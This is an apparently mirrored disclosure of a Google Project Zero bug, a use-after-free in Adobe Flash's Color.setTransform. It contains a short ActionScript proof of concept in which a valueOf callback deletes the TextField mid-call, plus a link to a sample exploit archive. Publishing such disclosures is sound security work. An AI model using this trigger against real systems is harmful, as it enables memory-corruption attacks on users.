Adobe Flash – Color.setTransform Use-After-Free - 体验盒子

作者： Google Security Research

日期： 2016-04-01

类别：

平台：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=451

If Color.setTransform is set to a transform that deletes the field it is called on, a UaF occurs. A PoC is as follows:

var tf:TextField = this.createTextField("tf",1,1,1,4,4)

var n = new Object();

n.valueOf = function () {

trace("here");

tf.removeTextField()

}

var o = {ra: n, rb:8};

var c = new Color(tf)

c.setTransform(o)

A sample swf and fla are attached.

Proof of Concept:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39652.zip